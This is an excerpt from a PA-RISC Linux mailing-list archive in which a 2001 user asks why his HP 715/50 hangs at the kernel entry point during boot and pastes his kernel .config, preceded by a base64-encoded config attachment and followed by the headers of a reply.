SUdfU0NTSV9EQzM5MFQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1QxMjggaXMgbm90IHNldAoj
IENPTkZJR19TQ1NJX1UxNF8zNEYgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RFQlVHIGlzIG5v
dCBzZXQKCiMKIyBQQ01DSUEgU0NTSSBhZGFwdGVyIHN1cHBvcnQKIwojIENPTkZJR19TQ1NJX1BD
TUNJQSBpcyBub3Qgc2V0CgojCiMgTmV0d29yayBkZXZpY2Ugc3VwcG9ydAojCkNPTkZJR19ORVRE
RVZJQ0VTPXkKCiMKIyBBUkNuZXQgZGV2aWNlcwojCiMgQ09ORklHX0FSQ05FVCBpcyBub3Qgc2V0
CiMgQ09ORklHX0RVTU1ZIGlzIG5vdCBzZXQKIyBDT05GSUdfQk9ORElORyBpcyBub3Qgc2V0CiMg
Q09ORklHX0VRVUFMSVpFUiBpcyBub3Qgc2V0CiMgQ09ORklHX1RVTiBpcyBub3Qgc2V0CiMgQ09O
RklHX05FVF9TQjEwMDAgaXMgbm90IHNldAoKIwojIEV0aGVybmV0ICgxMCBvciAxMDBNYml0KQoj
CkNPTkZJR19ORVRfRVRIRVJORVQ9eQpDT05GSUdfTEFTSV84MjU5Nj15CiMgQ09ORklHX05FVF9W
RU5ET1JfM0NPTSBpcyBub3Qgc2V0CiMgQ09ORklHX0xBTkNFIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkVUX1ZFTkRPUl9TTUMgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9SX1JBQ0FMIGlzIG5v
dCBzZXQKIyBDT05GSUdfQVQxNzAwIGlzIG5vdCBzZXQKIyBDT05GSUdfREVQQ0EgaXMgbm90IHNl
dAojIENPTkZJR19IUDEwMCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9JU0EgaXMgbm90IHNldApD
T05GSUdfTkVUX1BDST15CiMgQ09ORklHX1BDTkVUMzIgaXMgbm90IHNldAojIENPTkZJR19BREFQ
VEVDX1NUQVJGSVJFIGlzIG5vdCBzZXQKIyBDT05GSUdfQVBSSUNPVCBpcyBub3Qgc2V0CiMgQ09O
RklHX0NTODl4MCBpcyBub3Qgc2V0CkNPTkZJR19UVUxJUD15CiMgQ09ORklHX0RFNFg1IGlzIG5v
dCBzZXQKIyBDT05GSUdfREdSUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RNOTEwMiBpcyBub3Qgc2V0
CiMgQ09ORklHX0VFUFJPMTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfRUVQUk8xMDBfUE0gaXMgbm90
IHNldAojIENPTkZJR19MTkUzOTAgaXMgbm90IHNldAojIENPTkZJR19OQVRTRU1JIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkUyS19QQ0kgaXMgbm90IHNldAojIENPTkZJR19ORTMyMTAgaXMgbm90IHNl
dAojIENPTkZJR19FUzMyMTAgaXMgbm90IHNldAojIENPTkZJR184MTM5VE9PIGlzIG5vdCBzZXQK
IyBDT05GSUdfUlRMODEyOSBpcyBub3Qgc2V0CiMgQ09ORklHX1NJUzkwMCBpcyBub3Qgc2V0CiMg
Q09ORklHX0VQSUMxMDAgaXMgbm90IHNldAojIENPTkZJR19TVU5EQU5DRSBpcyBub3Qgc2V0CiMg
Q09ORklHX1RMQU4gaXMgbm90IHNldAojIENPTkZJR19WSUFfUkhJTkUgaXMgbm90IHNldAojIENP
TkZJR19XSU5CT05EXzg0MCBpcyBub3Qgc2V0CiMgQ09ORklHX0hBUFBZTUVBTCBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVF9QT0NLRVQgaXMgbm90IHNldAoKIwojIEV0aGVybmV0ICgxMDAwIE1iaXQp
CiMKIyBDT05GSUdfQUNFTklDIGlzIG5vdCBzZXQKIyBDT05GSUdfSEFNQUNISSBpcyBub3Qgc2V0
CiMgQ09ORklHX1lFTExPV0ZJTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NLOThMSU4gaXMgbm90IHNl
dAojIENPTkZJR19GRERJIGlzIG5vdCBzZXQKIyBDT05GSUdfSElQUEkgaXMgbm90IHNldAojIENP
TkZJR19QTElQIGlzIG5vdCBzZXQKIyBDT05GSUdfUFBQIGlzIG5vdCBzZXQKIyBDT05GSUdfU0xJ
UCBpcyBub3Qgc2V0CgojCiMgV2lyZWxlc3MgTEFOIChub24taGFtcmFkaW8pCiMKIyBDT05GSUdf
TkVUX1JBRElPIGlzIG5vdCBzZXQKCiMKIyBUb2tlbiBSaW5nIGRldmljZXMKIwojIENPTkZJR19U
UiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9GQyBpcyBub3Qgc2V0CiMgQ09ORklHX1JDUENJIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0hBUEVSIGlzIG5vdCBzZXQKCiMKIyBXYW4gaW50ZXJmYWNlcwoj
CiMgQ09ORklHX1dBTiBpcyBub3Qgc2V0CgojCiMgUENNQ0lBIG5ldHdvcmsgZGV2aWNlIHN1cHBv
cnQKIwojIENPTkZJR19ORVRfUENNQ0lBIGlzIG5vdCBzZXQKCiMKIyBJbnB1dCBjb3JlIHN1cHBv
cnQKIwojIENPTkZJR19JTlBVVCBpcyBub3Qgc2V0CgojCiMgQ2hhcmFjdGVyIGRldmljZXMKIwpD
T05GSUdfVlQ9eQpDT05GSUdfVlRfQ09OU09MRT15CkNPTkZJR19HU0NfUFMyPXkKQ09ORklHX0hJ
TD15CkNPTkZJR19TRVJJQUw9eQojIENPTkZJR19TRVJJQUxfQ09OU09MRSBpcyBub3Qgc2V0CkNP
TkZJR19TRVJJQUxfR1NDPXkKIyBDT05GSUdfU0VSSUFMX0VYVEVOREVEIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0VSSUFMX05PTlNUQU5EQVJEIGlzIG5vdCBzZXQKQ09ORklHX1VOSVg5OF9QVFlTPXkK
Q09ORklHX1VOSVg5OF9QVFlfQ09VTlQ9MjU2CkNPTkZJR19QUklOVEVSPXkKIyBDT05GSUdfTFBf
Q09OU09MRSBpcyBub3Qgc2V0CiMgQ09ORklHX1BQREVWIGlzIG5vdCBzZXQKCiMKIyBJMkMgc3Vw
cG9ydAojCiMgQ09ORklHX0kyQyBpcyBub3Qgc2V0CgojCiMgTWljZQojCiMgQ09ORklHX0JVU01P
VVNFIGlzIG5vdCBzZXQKIyBDT05GSUdfTU9VU0UgaXMgbm90IHNldAoKIwojIEpveXN0aWNrcwoj
CiMgQ09ORklHX0pPWVNUSUNLIGlzIG5vdCBzZXQKIyBDT05GSUdfUUlDMDJfVEFQRSBpcyBub3Qg
c2V0CgojCiMgV2F0Y2hkb2cgQ2FyZHMKIwojIENPTkZJR19XQVRDSERPRyBpcyBub3Qgc2V0CkNP
TkZJR19HRU5SVEM9eQojIENPTkZJR19JTlRFTF9STkcgaXMgbm90IHNldAojIENPTkZJR19OVlJB
TSBpcyBub3Qgc2V0CiMgQ09ORklHX1JUQyBpcyBub3Qgc2V0CiMgQ09ORklHX0RUTEsgaXMgbm90
IHNldAojIENPTkZJR19SMzk2NCBpcyBub3Qgc2V0CiMgQ09ORklHX0FQUExJQ09NIGlzIG5vdCBz
ZXQKCiMKIyBGdGFwZSwgdGhlIGZsb3BweSB0YXBlIGRldmljZSBkcml2ZXIKIwojIENPTkZJR19G
VEFQRSBpcyBub3Qgc2V0CiMgQ09ORklHX0FHUCBpcyBub3Qgc2V0CiMgQ09ORklHX0RSTSBpcyBu
b3Qgc2V0CkNPTkZJR19QQ01DSUFfU0VSSUFMPXkKCiMKIyBQQ01DSUEgY2hhcmFjdGVyIGRldmlj
ZSBzdXBwb3J0CiMKIyBDT05GSUdfUENNQ0lBX1NFUklBTF9DUyBpcyBub3Qgc2V0CgojCiMgTXVs
dGltZWRpYSBkZXZpY2VzCiMKIyBDT05GSUdfVklERU9fREVWIGlzIG5vdCBzZXQKCiMKIyBGaWxl
IHN5c3RlbXMKIwojIENPTkZJR19RVU9UQSBpcyBub3Qgc2V0CiMgQ09ORklHX0FVVE9GU19GUyBp
cyBub3Qgc2V0CiMgQ09ORklHX0FVVE9GUzRfRlMgaXMgbm90IHNldAojIENPTkZJR19BREZTX0ZT
IGlzIG5vdCBzZXQKIyBDT05GSUdfQURGU19GU19SVyBpcyBub3Qgc2V0CiMgQ09ORklHX0FGRlNf
RlMgaXMgbm90IHNldAojIENPTkZJR19IRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19CRlNfRlMg
aXMgbm90IHNldAojIENPTkZJR19GQVRfRlMgaXMgbm90IHNldAojIENPTkZJR19NU0RPU19GUyBp
cyBub3Qgc2V0CiMgQ09ORklHX1VNU0RPU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1ZGQVRfRlMg
aXMgbm90IHNldAojIENPTkZJR19FRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19KRkZTX0ZTIGlz
IG5vdCBzZXQKIyBDT05GSUdfQ1JBTUZTIGlzIG5vdCBzZXQKIyBDT05GSUdfUkFNRlMgaXMgbm90
IHNldApDT05GSUdfSVNPOTY2MF9GUz15CiMgQ09ORklHX0pPTElFVCBpcyBub3Qgc2V0CiMgQ09O
RklHX01JTklYX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfTlRGU19GUyBpcyBub3Qgc2V0CiMgQ09O
RklHX05URlNfUlcgaXMgbm90IHNldAojIENPTkZJR19IUEZTX0ZTIGlzIG5vdCBzZXQKQ09ORklH
X1BST0NfRlM9eQojIENPTkZJR19ERVZGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFVkZTX01P
VU5UIGlzIG5vdCBzZXQKIyBDT05GSUdfREVWRlNfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19E
RVZQVFNfRlMgaXMgbm90IHNldAojIENPTkZJR19RTlg0RlNfRlMgaXMgbm90IHNldAojIENPTkZJ
R19RTlg0RlNfUlcgaXMgbm90IHNldAojIENPTkZJR19ST01GU19GUyBpcyBub3Qgc2V0CkNPTkZJ
R19FWFQyX0ZTPXkKIyBDT05GSUdfU1lTVl9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NZU1ZfRlNf
V1JJVEUgaXMgbm90IHNldAojIENPTkZJR19VREZfRlMgaXMgbm90IHNldAojIENPTkZJR19VREZf
UlcgaXMgbm90IHNldAojIENPTkZJR19VRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19VRlNfRlNf
V1JJVEUgaXMgbm90IHNldAoKIwojIE5ldHdvcmsgRmlsZSBTeXN0ZW1zCiMKIyBDT05GSUdfQ09E
QV9GUyBpcyBub3Qgc2V0CkNPTkZJR19ORlNfRlM9eQojIENPTkZJR19ORlNfVjMgaXMgbm90IHNl
dAojIENPTkZJR19ST09UX05GUyBpcyBub3Qgc2V0CiMgQ09ORklHX05GU0QgaXMgbm90IHNldAoj
IENPTkZJR19ORlNEX1YzIGlzIG5vdCBzZXQKQ09ORklHX1NVTlJQQz15CkNPTkZJR19MT0NLRD15
CiMgQ09ORklHX1NNQl9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUF9GUyBpcyBub3Qgc2V0CiMg
Q09ORklHX05DUEZTX1BBQ0tFVF9TSUdOSU5HIGlzIG5vdCBzZXQKIyBDT05GSUdfTkNQRlNfSU9D
VExfTE9DS0lORyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUEZTX1NUUk9ORyBpcyBub3Qgc2V0CiMg
Q09ORklHX05DUEZTX05GU19OUyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUEZTX09TMl9OUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX05DUEZTX1NNQUxMRE9TIGlzIG5vdCBzZXQKIyBDT05GSUdfTkNQRlNf
TkxTIGlzIG5vdCBzZXQKIyBDT05GSUdfTkNQRlNfRVhUUkFTIGlzIG5vdCBzZXQKCiMKIyBQYXJ0
aXRpb24gVHlwZXMKIwojIENPTkZJR19QQVJUSVRJT05fQURWQU5DRUQgaXMgbm90IHNldApDT05G
SUdfTVNET1NfUEFSVElUSU9OPXkKIyBDT05GSUdfU01CX05MUyBpcyBub3Qgc2V0CiMgQ09ORklH
X05MUyBpcyBub3Qgc2V0CgojCiMgQ29uc29sZSBkcml2ZXJzCiMKCiMKIyBGcmFtZS1idWZmZXIg
c3VwcG9ydAojCiMgQ09ORklHX0ZCIGlzIG5vdCBzZXQKQ09ORklHX1NUSV9DT05TT0xFPXkKQ09O
RklHX0RVTU1ZX0NPTlNPTEU9eQpDT05GSUdfRFVNTVlfQ09OU09MRT15CkNPTkZJR19GQkNPTj15
CiMgQ09ORklHX0ZCQ09OX0ZPTlRXSURUSDhfT05MWSBpcyBub3Qgc2V0CkNPTkZJR19GT05UXzh4
OD15CkNPTkZJR19GT05UXzh4MTY9eQpDT05GSUdfRk9OVF82eDExPXkKQ09ORklHX0ZPTlRfU1VO
MTJ4MjI9eQoKIwojIFNvdW5kCiMKIyBDT05GSUdfU09VTkQgaXMgbm90IHNldAoKIwojIEtlcm5l
bCBoYWNraW5nCiMKQ09ORklHX01BR0lDX1NZU1JRPXkK

--------------Boundary-00=_V4U2WJLBOHAAYC5JREJD--




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: WIES Nicolas <n.wies@wanadoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help wanted on an 715/50 "old Box" 2
Date: Tue, 20 Feb 2001 23:26:36 +0100
Lines: 526
Approved: news@gmane.org
Message-ID: <01022023263600.01386@nw>
Reply-To: n.wies@wanadoo.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619885 15821 80.91.229.3 (22 Nov 2014 01:31:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 20 15:27:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (ca-ol-sqy-4-42.abo.wanadoo.fr [62.161.75.42])
	by dsl2.external.hp.com (Postfix) with SMTP id 886AA4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Feb 2001 15:27:32 -0700 (MST)
Original-Received: (qmail 1395 invoked by uid 206); 20 Feb 2001 22:26:36 -0000
Original-Received: from localhost (HELO nw) (nw@127.0.0.1)
  by localhost with SMTP; 20 Feb 2001 22:26:36 -0000
X-Mailer: KMail [version 1.1.99]
Xref: news.gmane.org gmane.linux.ports.parisc:10309

Hello all,

First I want to congratulate you for this great job.

I have an old Apollo, a 715/50 Scorpio with 64Mb Ram and a Tulip in the EISA 
port and my goal is to turn it into a firewall.

So, since September, every week I upgrade all sources via CVS, and I make a 
kernel and I try to boot. I try via rbootd or from a hard disk, with STI or 
with serial console.

But I never have a commplete boot.

>From the beginnig of the year, I don't remenber exactly when, I have the same 
message with this last lines:

Entry 00100170 first 00100000 n 5

Segment 0 load 00100000 size 1453916 mediaptr 0x1000
Segment 1 load 00264000 size 201128 mediaptr 0x164000
Segment 2 load 00298000 size 214428 mediaptr 0x196000
Segment 3 load 002d0000 size 8192 mediaptr 0x1cb000
Segment 4 load 002fbda8 size 71328 mediaptr 0x1cdda8
branching to kernel entry point 0x00100170


And nothing happen.

I don't understand where can be the problem because the kernel start to load, 
according to theses lines, and freeze.
My configuration is the last nfs-root for booting over the lan, and the 
esiee's fs_hd_sti.tar.gz for booting from the hard disk.
Both are configure for my lan.

Message for the esiee team : Can you add a date at your fs_hd_sti.tar.gz? 
Because we can't know how old is it.


With this message, you will find my .config

Thanks for the help,

         Nicolas

P.S: I remade it because the .config is in a bad format 

.config :

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC32=y
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General options
#
# CONFIG_SMP is not set
# CONFIG_KWDB is not set
CONFIG_GSC=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_WAX_EISA=y
# CONFIG_SUPERIO is not set
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_PCI_NAMES=y
CONFIG_CHASSIS_LCD_LED=y

#
# General setup
#
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_BLK_DEV_LVM is not set
# CONFIG_LVM_PROC_FS is not set

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
CONFIG_SCSI_LASI=y
CONFIG_SCSI_ZALON=y
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_NCR53C8XX is not set
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# PCMCIA SCSI adapter support
#
# CONFIG_SCSI_PCMCIA is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
CONFIG_TULIP=y
# CONFIG_DE4X5 is not set
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_EEPRO100_PM is not set
# CONFIG_LNE390 is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139TOO is not set
# CONFIG_RTL8129 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# PCMCIA network device support
#
# CONFIG_NET_PCMCIA is not set

#
# Input core support
#
# CONFIG_INPUT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
# CONFIG_SERIAL_CONSOLE is not set
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set
CONFIG_PCMCIA_SERIAL=y

#
# PCMCIA character device support
#
# CONFIG_PCMCIA_SERIAL_CS is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_SYSV_FS_WRITE is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
# CONFIG_NFS_V3 is not set
# CONFIG_ROOT_NFS is not set
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
# CONFIG_NLS is not set

#
# Console drivers
#

#
# Frame-buffer support
#
# CONFIG_FB is not set
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
# CONFIG_SOUND is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y



-- 
Adresse de rponse  / return address :


	n.wies@wanadoo.fr

:-)





From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted on an 715/50 "old Box" 2
Date: Tue, 20 Feb 2001 18:36:06 -0500
Organization: The Puffins at Linuxcare
Lines: 39
Approved: news@gmane.org
Message-ID: <3A92FF66.BB9B30C@linuxcare.com>
References: <01022023263600.01386@nw>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
